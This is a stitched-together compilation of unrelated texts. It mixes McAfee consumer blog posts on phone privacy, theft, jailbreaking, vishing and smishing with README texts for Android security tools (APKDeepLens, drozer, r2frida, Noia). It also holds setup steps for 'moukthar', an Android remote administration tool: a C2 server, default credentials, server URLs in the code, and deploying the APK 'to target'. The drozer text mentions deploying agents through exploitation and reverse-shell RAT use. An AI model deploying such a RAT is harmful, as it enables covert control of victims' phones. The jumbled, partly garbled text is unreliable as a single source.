Privacy experts say disabling or deleting your device’s MAID will have no effect on how your phone operates, except that you may begin to see far less targeted ads on that device.
Any Android apps with permission to use your location should appear when you navigate to the Settings app, Location, and then App Permissions. “Allowed all the time” is the most permissive setting, followed by “Allowed only while in use,” “Ask every time,” and “Not allowed.”
Android users can delete their ad ID permanently, by opening the Settings app and navigating to Privacy > Ads. Tap “Delete advertising ID,” then tap it again on the next page to confirm. According to the EFF, this will prevent any app on your phone from accessing the ad ID in the future. Google’s documentation on this is here.
Image: eff.org
By default, Apple’s iOS requires apps to ask permission before they can access your device’s IDFA. When you install a new app, it may ask for permission to track you. When prompted to do so by an app, select the “Ask App Not to Track” option. Apple users also can set the “Allow apps to request to track” switch to the “off” position, which will block apps from asking to track you.
Apple’s Privacy and Ad Tracking Settings.
Apple also has its own targeted advertising system which is separate from third-party tracking enabled by the IDFA. To disable it, go to Settings, Privacy, and Apple Advertising, and ensure that the “Personalized Ads” setting is set to “off.”
Finally, if you’re the type of reader who’s the default IT support person for a small group of family or friends (bless your heart), it would be a good idea to set their devices not to track them, and to disable any apps that may have location data sharing turned on 24/7.
There is a dual benefit to this altruism, which is clearly in the device owner’s best interests. Because while your device may not be directly trackable via advertising data, making sure they’re opted out of said tracking also can reduce the likelihood that you are trackable simply by being physically close to those who are.
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Before your phone gets lost or stolen, put some basic steps in place.
You’ll want to act quickly, so preparation is everything. With the right measures, you can find it, recover it, or even erase it if needed. These steps can get you set up so you can do exactly that.
Lock your phone.
Locking your phone is one of the most basic smartphone security measures you can take. Trouble is, few of us do it. Our recent global research showed that only 56% of adults said that they protect their smartphone with a password, passcode, or other form of lock.[i] In effect, an unlocked phone is an open book to anyone who finds or steals a phone
Setting up a lock screen is easy. It’s a simple feature found on iOS and Android devices. iPhones and Androids have an auto-lock feature that locks your phone after a certain period of inactivity. Keep this time on the low end, one minute or less, to help prevent unauthorized access.
We suggest using a six-digit PIN or passcode rather than using a gesture to unlock your phone. They’re more complex and secure. Researchers proved as much with a little “shoulder surfing” test. They looked at how well one group of subjects could unlock a phone after observing the way another group of subjects unlocked it.[ii]
Turn on “Find My Phone.”
Another powerful tool you have at your disposal is the Find My Phone feature made possible thanks to GPS technology. The “find my” feature can help you pinpoint your phone if your lost or stolen phone has an active data or Wi-Fi connection and has its GPS location services enabled. Even if the phone gets powered down or loses connection, it can guide you to its last known location.
Setting up this feature is easy. Apple offers a comprehensive web page on how to enable and use their “Find My” feature for phones (and other devices too). Android users can get a step-by-step walkthrough on Google’s Android support page as well.
Back up your stuff in the cloud.
Thanks to cloud storage, you might be able to recover your photos, files, apps, notes, contact info, and more if your phone is lost or stolen. Android owners can learn how to set up cloud backup with Google Drive here, and iPhone users can learn the same for iCloud here.
Write down your phone’s unique ID number.
Here are a couple of acronyms. IMEI (International Mobile Equipment Identity) or MEID (Mobile Equipment Identifier) are two types of unique ID numbers assigned to smartphones. Find yours and write it down. In case of loss or theft, your mobile carrier, police department, or insurance provider might ask for the info to assist in its return or reimbursement for loss.
Beyond digital security measures, plenty of loss and theft prevention falls on you. Treat your phone like the desirable item it is. That’s a big step when it comes to preventing theft.
Keep your phone close.
And by close, we mean on your person. It’s easy to leave your phone on the table at a coffee shop, on a desk in a shared workspace, or on a counter when you’re shopping. Thieves might jump on any of these opportunities for a quick snatch-and-grab. You’re better off with your phone in your pocket or zipped up in a bag that you keep close.
Secure your bags and the devices you carry in them.
Enterprising thieves will find a way. They’ll snatch your bag while you’re not looking. Or they might even slice into it with a knife to get what’s inside, like your phone.
Keep your bag or backpack close. If you’re stopping to grab a bite to eat, sling the handles through a chair leg. If you have a strong metal carabiner, you can use that too. Securing your bag like that can make it much tougher for a thief to walk by and swipe it. For extra security, look into a slash-resistant bag.
If you have a credit card and ID holder attached to the back of your phone, you might want to remove your cards from it. That way, if your phone gets snatched, those important cards won’t get snatched as well.
In the event of your phone getting lost or stolen, a combination of device tracking, device locking, and remote erasing can help protect your phone and the data on it.
Different device manufacturers have different ways of going about it. But the result is the same — you can prevent others from using your phone, and even erase it if you’re truly worried that it’s in the wrong hands or gone for good. Apple provides iOS users with a step-by-step guide, and Google offers up a guide for Android users as well.
Apple’s Find My app takes things a step further. Beyond locating a lost phone or wiping it, Find My can also mark the item as lost, notify you if you’ve left it behind, or trigger a sound to help you locate it. (A huge boon in that couch cushion scenario!) Drop by Apple’s page dedicated to the Find My app for more details on what you can do on what devices, along with instructions how.
With preparation and prevention, you can give yourself reassurance if your phone gets lost or stolen. You have plenty of recovery options, in addition to plenty of ways to prevent bad actors from getting their hands on the sensitive info you keep on it.
[i] https://www.mcafee.com/content/dam/consumer/en-us/docs/reports/rp-connected-family-study-2022-global.pdf
[ii] https://arxiv.org/abs/1709.04959
The post What Should I do If My Phone Gets Stolen or Lost? appeared first on McAfee Blog.
In today’s interconnected world, our mobile devices serve as essential tools for communication, productivity, and entertainment. However, for some tech-savvy users, the allure of unlocking the full potential of their devices through jailbreaking (for iOS) or rooting (for Android) can be tempting. While these processes offer users greater control and customization over their devices, they also raise significant questions about security implications.
To “jailbreak” means to allow the phone’s owner to gain full access to the root of the operating system and access all the features. Jailbreaking is the process of removing the limitations imposed by Apple and associated carriers on devices running the iOS operating system. Jailbroken phones came into the mainstream when Apple first released their iPhone and it was only on AT&T’s network. Users who wanted to use an iPhone with other carriers were not able to unless they had a jailbroken iPhone.
Similar to jailbreaking, “rooting” is the term for the process of removing the limitations on a mobile or tablet running the Android operating system. By gaining privileged control, often referred to as “root access,” over an Android device’s operating system, users can modify system files, remove pre-installed bloatware, install custom ROMs, and unlock features not accessible on stock devices.
Rooting or jailbreaking grants users deeper access to the device’s operating system, allowing for extensive customization of the user interface, system settings, and even hardware functionality. Advanced users can optimize system performance, remove unnecessary bloatware, and tweak settings to improve battery life, speed, and responsiveness.
However, hacking your device potentially opens security holes that may have not been readily apparent or undermines the device’s built-in security measures. Jailbroken and rooted phones are much more susceptible to viruses and malware because users can avoid Apple and Google application vetting processes that help ensure users are downloading virus-free apps.
In addition to security vulnerabilities, hacking your device may lead to a voided manufacturer’s warranty, leaving you without official support for repairs or replacements. Altering the device’s operating system can also lead to instability, crashes, and performance issues, especially if incompatible software or modifications are installed.
While rooting or jailbreaking may offer users enticing opportunities for customization and optimization of their mobile devices, the associated risks cannot be overlooked. By circumventing built-in security measures, users expose their devices to potential security vulnerabilities, making them more susceptible to viruses and malware. Ultimately, the decision to root or jailbreak a mobile device should be made with careful consideration of the trade-offs involved, as the security risks often outweigh the benefits.
When thinking about mobile security risks, consider adding reputable mobile security software to your device to augment the built-in security measures. These security solutions provide real-time scanning and threat detection capabilities, helping to safeguard sensitive data and maintain the integrity of the device’s operating system.
The post How Does Jailbreaking Or Rooting Affect My Mobile Device Security? appeared first on McAfee Blog.
“Vishing” occurs when criminals cold-call victims and attempt to persuade them to divulge personal information over the phone. These scammers are generally after credit card numbers and personal identifying information, which can then be used to commit financial theft. Vishing can occur both on your landline phone or via your cell phone.
The term is a combination of “voice,” and “phishing,” which is the use of spoofed emails to trick targets into clicking malicious links. Rather than email, vishing generally relies on automated phone calls that instruct targets to provide account numbers. Techniques scammers use to get your phone numbers include:
Once vishers have phone numbers, they employ various strategies to deceive their targets and obtain valuable personal information:
To protect yourself from vishing scams, you should:
Staying vigilant and informed is your best defense against vishing scams. By verifying caller identities, being skeptical of unsolicited requests for personal information, and using call-blocking tools, you can significantly reduce your risk of falling victim to these deceptive practices. Additionally, investing in identity theft protection services can provide an extra layer of security. These services monitor your personal information for suspicious activity and offer assistance in recovering from identity theft, giving you peace of mind in an increasingly digital world. Remember, proactive measures and awareness are key to safeguarding your personal information against vishing threats.
The post How to Protect Yourself from Vishing appeared first on McAfee Blog.
APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.
APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:
To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:
git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd /APKDeepLens
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python APKDeepLens.py --help
git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd \APKDeepLens
python3 -m venv venv
.\venv\Scripts\activate
pip install -r .\requirements.txt
python APKDeepLens.py --help
To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.
python3 APKDeepLens.py -apk file.apk
If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.
python3 APKDeepLens.py -apk file.apk -source <source-code-path>
To generate detailed PDF and HTML reports after the scan you can pass -report argument as mentioned below.
python3 APKDeepLens.py -apk file.apk -report
We welcome contributions to the APKDeepLens project. If you have a feature request, bug report, or proposal, please open a new issue here.
For those interested in contributing code, please follow the standard GitHub process. We'll review your contributions as quickly as possible :)
drozer (formerly Mercury) is the leading security testing framework for Android.
drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (WithSecure's advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).
drozer is a good tool for simulating a rogue application. A penetration tester does not have to develop an app with custom code to interface with a specific content provider. Instead, drozer can be used with little to no programming experience required to show the impact of letting certain components be exported on a device.
drozer is open source software, maintained by WithSecure, and can be downloaded from: https://labs.withsecure.com/tools/drozer/
To help with making sure drozer can be run on modern systems, a Docker container was created that has a working build of Drozer. This is currently the recommended method of using Drozer on modern systems.
Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.
Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python setup.py bdist_wheel
sudo pip install dist/drozer-2.x.x-py2-none-any.whl
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make deb
sudo dpkg -i drozer-2.x.x.deb
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make rpm
sudo rpm -I drozer-2.x.x-1.noarch.rpm
NOTE: Windows Defender and other Antivirus software will flag drozer as malware (an exploitation tool without exploit code wouldn't be much fun!). In order to run drozer you would have to add an exception to Windows Defender and any antivirus software. Alternatively, we recommend running drozer in a Windows/Linux VM.
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python.exe setup.py bdist_msi
Run dist/drozer-2.x.x.win-x.msi
Drozer can be installed using Android Debug Bridge (adb).
Download the latest Drozer Agent here.
$ adb install drozer-agent-2.x.x.apk
You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you're ready to start exploring.
We will use the server embedded in the drozer Agent to do this.
If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the "Embedded Server" option and tap "Enable" to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
On Linux:
$ drozer console connect
On Windows:
> drozer.bat console connect
If using a real device, the IP address of the device on the network must be specified:
On Linux:
$ drozer console connect --server 192.168.0.10
On Windows:
> drozer.bat console connect --server 192.168.0.10
You should be presented with a drozer command prompt:
selecting f75640f67144d9a3 (unknown sdk 4.1.1)
dz>
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
You are now ready to start exploring the device.
| Command | Description |
|---|---|
| run | Executes a drozer module |
| list | Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run. |
| shell | Start an interactive Linux shell on the device, in the context of the Agent process. |
| cd | Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module. |
| clean | Remove temporary files stored by drozer on the Android device. |
| contributors | Displays a list of people who have contributed to the drozer framework and modules in use on your system. |
| echo | Print text to the console. |
| exit | Terminate the drozer session. |
| help | Display help about a particular command or module. |
| load | Load a file containing drozer commands, and execute them in sequence. |
| module | Find and install additional drozer modules from the Internet. |
| permissions | Display a list of the permissions granted to the drozer Agent. |
| set | Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer. |
| unset | Remove a named variable that drozer passes to any Linux shells that it spawns. |
drozer is released under a 3-clause BSD License. See LICENSE for full details.
drozer is Open Source software, made great by contributions from the community.
Bug reports, feature requests, comments and questions can be submitted here.
This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.
The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.
Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.
:. command):db apir_fs api.The recommended way to install r2frida is via r2pm:
$ r2pm -ci r2frida
Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.
In GNU/Debian you will need to install the following packages:
$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git
$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install
radare2 (instead of radare2-x.y.z)preconfigure.bat)configure.bat and then make.bat
b\r2frida.dll into r2 -H R2_USER_PLUGINS
For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.
$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://? # show this help
* frida:// # list local processes
* frida://0 # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2 # abspath to spawn
* frida://rax2 # same as above, considering local/bin is in PATH
* frida://spawn/$(program) # spawn a new process in the current system
* frida://attach/(target) # attach to target PID in current host
USB:
* frida://list/usb// # list processes in the first usb device
* frida://apps/usb// # list apps in the first usb device
* frida://attach/usb//12345 # attach to given pid in the first usb device
* frida://spawn/usb//appname # spawn an app in the first resolved usb device
* frida://launch/usb//appname # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
R2FRIDA_SAFE_IO=0|1 # Workaround a Frida bug on Android/thumb
R2FRIDA_DEBUG=0|1 # Used to debug argument parsing behaviour
R2FRIDA_COMPILER_DISABLE=0|1 # Disable the new frida typescript compiler (`:. foo.ts`)
R2FRIDA_AGENT_SCRIPT=[file] # path to file of the r2frida agent
$ r2 frida://0 # same as frida -p 0, connects to a local session
You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)
$ r2 frida://rax2 # attach to the first process named `rax2`
$ r2 frida://1234 # attach to the given pid
Using the absolute path of a binary to spawn will spawn the process:
$ r2 frida:///bin/ls
[0x00000000]> :dc # continue the execution of the target program
Also works with arguments:
$ r2 frida://"/bin/ls -al"
For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.
$ r2 frida://spawn/usb/ # enumerate devices
$ r2 frida://spawn/usb// # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app
These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.
:i # get information of the target (pid, name, home, arch, bits, ..)
.:i* # import the target process details into local r2
:? # show all the available commands
:dm # list maps. Use ':dm|head' and seek to the program base address
:iE # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-* # delete all traces
r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.
See the plugins/ directory for some more example plugin scripts.
[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
if (name === 'test') {
return function(args) {
console.log('Hello Args From r2frida plugin', args);
return 'Things Happen';
}
}
});
[0x00000000]> :. example.js # load the plugin script
The :. command works like the r2's . command, but runs inside the agent.
:. a.js # run script which registers a plugin
:. # list plugins
:.-test # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)
If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.
$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...
Ensure you are using a modern version of r2 (preferibly last release or git).
Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.
If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.
+---------+
| radare2 | The radare2 tool, on top of the rest
+---------+
:
+----------+
| io_frida | r2frida io plugin
+----------+
:
+---------+
| frida | Frida host APIs and logic to interact with target
+---------+
:
+-------+
| app | Target process instrumented by Frida with Javascript
+-------+
This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.
I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos
Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.
Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.
npm install -g noia
noia
Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.
View custom binary files. Directly preview SQLite databases, images, and more.
Search application by name.
Search files and directories by name.
Navigate to a custom directory using the ctrl+g shortcut.
Download the application files and directories for further analysis.
Basic iOS support
and more
Noia is available on npm, so just type the following command to install it and run it:
npm install -g noia
noia
Noia is powered by frida.re, thus requires Frida to run.
See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/
Security Warning
This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.
MIT
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
c2-server/.env and web socket/.env
database.sql
console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
SMiShing, a term from ‘SMS phishing’, is a growing cyber threat that is as dangerous, if not more, than its sibling, “Phishing.” While the terms may seem comical, the repercussions of falling victim to these scams are no laughing matter. In an increasingly digital age, cybercriminals are taking advantage of our reliance on technology to steal personal information and leverage it for malicious purposes. This article provides an in-depth explanation of SMiShing, how it works, and, most importantly, how you can protect yourself from it.
In essence, SMiShing is a deceptive practice where scammers send fraudulent text messages masquerading as reputable institutions, aiming to dupe recipients into clicking on a link, calling a number, or providing sensitive personal information. The risk with SMiShing is that mobile users tend to trust their SMS messages more than their emails, making it an effective scamming tool. The best line of defense is awareness and understanding of what SMiShing is, how it operates, and the protective measures you can take against it.
The term ‘SMiShing’ is a concatenation of ‘SMS’ (short message service) and ‘Phishing’. The latter is a cybercriminal strategy, where scammers send emails that impersonate legitimate organizations with the aim of luring victims into clicking links and/or entering their login data or credentials. The word ‘Phishing’ is a play on the word ‘fishing’, depicting the tactic of baiting victims and fishing for their personal information.
SMiShing is a variant of phishing, a social engineering tactic where scammers resort to sending text messages instead of emails. These messages are engineered to appear as though they’ve been sent by legitimate, trusted organizations, leading the recipient to either click on a link or respond with their personal details. The transition from emails to text messages signals a shift in cybercrime trends, as scammers exploit the trust users place in their text messages, as opposed to their scrutiny of emails.
→ Dig Deeper: What Is Smishing and Vishing, and How Do You Protect Yourself?
Cybercriminals use sophisticated technology that allows them to generate cell phone numbers based on area codes. These phone numbers include a cell carrier’s provided extension, plus the last four random numbers. Once these phone numbers are generated, the scammers utilize mass text messaging services to disseminate their SMiShing bait, much like casting a large fishing net hoping to snare unsuspecting victims. A simple online search for “mass SMS software” will yield numerous free and low-cost programs that facilitate mass texting, revealing the ease with which these scams can be carried out.
→ Dig Deeper: What You Need to Know About the FedEx SMiShing Scam
SMiShing has proven to be effective mainly because most people have been conditioned to trust text messages more than emails. Moreover, unlike emails accessed on a PC, text messages do not allow for easy link previewing, making it risky to click on links embedded within the texts. The links either lead to malicious websites intended to steal data or prompt the download of keyloggers, tools that record every keystroke on your device, facilitating the theft of personal information. Alternatively, some SMiShing texts may trick recipients into calling specific numbers which, when dialed, incur hefty charges on the victim’s phone bill.
The first step towards protecting yourself against SMiShing is recognizing the threat. Cybercriminals often capitalize on the victim’s lack of understanding about how these scams work. They prey on the recipient’s trust in their text messages and their curiosity to view links sent via SMS. By understanding how SMiShing works, you are able to spot potential scams and protect yourself against them.
Typically, SMiShing messages are crafted to impersonate familiar, reputable organizations such as banks, utility companies, or even government institutions. They often induce a sense of urgency, pushing the recipient to act swiftly, leaving little to no time for scrutiny. The messages may alert you of suspicious activity on your account, a pending bill, or offer incredible deals that seem too good to be true. Any SMS message that prompts you to click on a link, call a certain number, or provide personal information should be treated with suspicion.
More often than not, recognizing an SMiShing scam relies on your observational skills and your ability to spot the tell-tale signs. One common red flag is poor grammar and spelling. Although this is not always the case, several SMiShing scams tend to have mistakes that professional communications from reputable institutions would not.
Another sign is that the message is unsolicited. If you didn’t initiate contact or expect a message from the supposed sender, you should treat it with suspicion. Additionally, reputable organizations usually employ a secure method of communication when dealing with sensitive information; they would rarely, if ever, ask for personal data via SMS.
Pay attention to the phone number. A text from a legitimate institution usually comes from a short code number, not a regular ten-digit phone number. Also, check whether the message uses a generic greeting instead of your name. Finally, use your common sense. If an offer seems too good to be true, it probably is. Also, remember that verifying the legitimacy of the text message with the supposed sender can never harm.
Many of these signs can be subtle and easy to overlook. However, staying vigilant and taking the time to scrutinize unusual text messages can save you from falling victim to SMiShing.
→ Dig Deeper: How to Squash the Android/TimpDoor SMiShing Scam
Psychological Manipulation is a critical aspect of this cyber threat, involving the art of exploiting human psychology and trust to trick individuals into revealing sensitive information or engaging in harmful actions. Even individuals with the intelligence to steer clear of scams might become vulnerable if the psychological manipulation is exceptionally compelling.
Smishing attackers employ a range of social engineering techniques that tap into human emotions, including fear, curiosity, and urgency. They often impersonate trusted entities or use personalized information to lower recipients’ guard and establish trust. The use of emotional manipulation and emotional triggers, such as excitement or outrage, further intensifies the impact of these attacks. Recognizing and understanding these psychological tactics is paramount for individuals and organizations in fortifying their defenses against smishing, empowering them to identify and resist such manipulative attempts effectively.
→ Dig Deeper: Social Engineering—The Scammer’s Secret Weapon
Arming yourself with knowledge about SMiShing and its modus operandi is the initial line of defense. Once you comprehend the nature of this scam, you are better equipped to identify it. However, understanding alone is not enough. There are several practical measures that you can adopt to safeguard your personal information from SMiShing scams.
At the top of this list is exercising caution with text messages, especially those from unknown sources. Resist the impulse to click on links embedded within these texts. These links often lead to malicious websites engineered to steal your data or trigger the download of harmful software like keyloggers. Do not respond to text messages that solicit personal information. Even if the message seems to originate from a trusted entity, it is always better to verify through other means before responding.
Furthermore, be wary of text messages that create a sense of urgency or evoke fear. SMiShers often manipulate emotions to spur immediate action, bypassing logical scrutiny. For instance, you may receive a message supposedly from your bank alerting you about a security breach or unauthorized transaction. Instead of panicking and clicking on the provided link, take a moment to contact your bank through their officially listed number for clarification.
There is also the option of using comprehensive mobile security applications. These apps provide an array of features such as text message filtering, antivirus, web protection, and anti-theft measures. Applications like McAfee Mobile Security can significantly enhance your defense against SMiShing attacks and other cyber threats.
McAfee Pro Tip: Try McAfee Mobile Security’s scam protection. It scans the URLs within your text messages to enhance your online safety. If a suspicious or scam link is detected, it will send an alert on Android devices or automatically filter out the problematic text. Additionally, it actively blocks potentially harmful links in emails, text messages, and social media if you happen to click on them by mistake, adding an extra layer of protection to your online experience.
SMiShing is a serious cyber threat that aims to exploit the trust that individuals place in their text messages. By impersonating reputable organizations and creating a sense of urgency, scammers try to trick recipients into providing personal information or clicking on malicious links. Protecting oneself from SMiShing involves understanding what it is, recognizing the threat, and adopting effective protective measures. These include being cautious of unsolicited text messages, refraining from clicking on links within these texts, and using comprehensive mobile security applications. Additionally, being aware of the red flags, such as poor grammar, unsolicited messages, and requests for sensitive information via SMS, can help in detecting potential scams. In an increasingly digital age, staying vigilant and proactive is the best way to protect your personal information from cybercriminals.
The post Understanding and Protecting Yourself from SMiShing appeared first on McAfee Blog.
In today’s digital era, smartphones and tablets are quickly becoming essentials for everybody. However, despite their increasing popularity, many people fail to take adequate security precautions with their mobile devices. Statistics show that roughly 75% of Americans do not use mobile security software. Moreover, approximately 36% of users do not have a basic PIN to secure their mobile devices. Therefore, it becomes imperative to understand the risks and take necessary precautions, particularly for Android users.
Android has, over time, become a popular target for hackers. Recently, McAfee Labs™ found that all new forms of malicious mobile software were solely designed to exploit vulnerabilities in the Android operating system. Multiple factors contribute to this increase in mobile malware. One of the major reasons is the exponential growth of the Android platform, which currently holds the largest share of the mobile marketplace. Naturally, cybercriminals are drawn to the size and potential for exploitation in the Android space.
Malicious mobile activity, particularly on Android devices, is generally driven by bad apps. These rogue applications come with a myriad of risks. They can access your contacts, sending them unwanted emails. They can track and record everything you do on your mobile device, leading to severe consequences such as data theft, keylogging, and unauthorized access to sensitive information like banking credentials. They may even hijack your device or distribute personal content without consent, posing emotional and reputational damage.
In addition to individual risks, mobile malware can serve broader purposes, including espionage and geopolitical motives, often orchestrated by nation-states or hacktivist groups. These advanced persistent threats (APTs) may target specific individuals, organizations, or regions, posing significant damage potential. To protect against these advanced threats and prevent the proliferation of mobile malware, proactive cybersecurity measures, awareness, and safe online practices are indispensable.
→ Dig Deeper: 4 Mobile Malware Threats You Can’t Even See
While the extent of smartphone malware is currently less severe compared to desktop or laptop PCs, awareness of its existence can go a long way toward ensuring your data’s security. There are a few simple steps you can take to protect yourself and your data:
Begin by using a PIN to lock your device. Just as you would be cautious with your computer, always think twice before clicking on links, especially from unfamiliar sources. Ensure that you have web protection software installed which can help keep you from visiting malicious sites. When looking to download apps, remember to do your research. Reading the ratings and reviews can give you a good idea about the app’s credibility. Only download apps from well-known, reputable app stores to minimize the possibility of downloading a malicious app.
→ Dig Deeper: How Safe Is Your Android PIN Code?
During the app installation process, ensure you review what permissions the app is requesting on your device. Consider using an app protection feature that alerts you if an app is accessing data it does not require. Lastly, consider installing a comprehensive mobile security solution like McAfee Mobile Security. This type of software generally includes anti-malware, web protection, anti-theft, and app protection features.
App permissions play a crucial role in this process. Android developers have the liberty to choose from over 150 different permissions that an app can access on your mobile device. Examples include turning on your camera to record images or videos, accessing all your contacts, and even accessing your IMEI code (a unique identifier for your mobile device). Therefore, it’s crucial to understand why an app needs to access specific information to prevent it from sending your personal information to potentially malicious entities.
With each download, apps request permission to access certain functionalities on your device. Unfortunately, these permissions can sometimes be used to compromise your personal data. For instance, an app might ask for access to your device’s camera, microphone, or location. While these permissions might seem harmless at face value, they can be exploited. Cybercriminals can potentially use these permissions to steal sensitive information or even engage in surveillance activities. That’s why it’s critical to cross-verify each permission an app requests and deny any that seem unnecessary.
For those unsure, consider asking the following questions: Why does this app need access to my contacts, SMS, or location? Is this access necessary for the functionality of the app? If you’re unsure, look up the app on online forums or ask for advice from trusted sources. Remember, it’s always better to be safe than sorry.
McAfee Pro Tip: Be careful when downloading third-party apps. Developers of third-party apps are not under the control of the OS owners and official application stores like App Store and Google Play, so they can have lower security levels. This enables advertisers and hackers to insert malicious codes within the app. Know more about third-party apps and how to check app authenticity.
Another crucial measure to protect your Android device is to keep it updated. Software updates not only introduce new features but also fix potential security flaws. Hackers often exploit these security flaws to infiltrate your device, making updates a crucial part of your security toolkit. Regularly check for updates and install them as soon as they are available.
Google frequently releases monthly security patches for Android. These patches address various security vulnerabilities that have been discovered in the Android operating system. However, the responsibility for pushing these updates to individual devices lies with the device manufacturers and carriers. Ensure that you are aware of your device’s update cycle and prioritize installing these updates.
→ Dig Deeper: Why Software Updates Are So Important
Your Android device serves as a repository for a wealth of personal and sensitive information. As we continue to incorporate these devices into our daily lives, the need for stringent security measures has never been more urgent. While the world of mobile security might seem daunting, the right knowledge and a few preventive measures can help you avoid the majority of potential threats.
Start by locking your device with a PIN, be cautious about the links you click on, verify app permissions, ensure you download apps from a trusted source, and keep your device updated. Remember, your digital security is in your hands. Equip yourself with the necessary tools and awareness to navigate the online world safely. Lastly, consider investing in a comprehensive mobile security solution like McAfee Mobile Security to fortify your defenses against potential cyber threats.
The post Understanding the Risks of Using an Android Device appeared first on McAfee Blog.
In the ever-growing digital age, our mobile devices contain an alarming amount of personal, sensitive data. From emails, social media accounts, banking applications to payment apps, our personal and financial lives are increasingly entwined with the convenience of online, mobile platforms. However, despite the increasing threat to cyber security, it appears many of us are complacent about protecting our mobile devices.
Survey revealed that many mobile users still use easy-to-remember and easy-to-guess passwords. With such an increasing dependence on mobile devices to handle our daily tasks, it seems unimaginable that many of us leave our important personal data unguarded. Theft or loss of an unsecured mobile device can, and often does, result in a catastrophic loss of privacy and financial security.
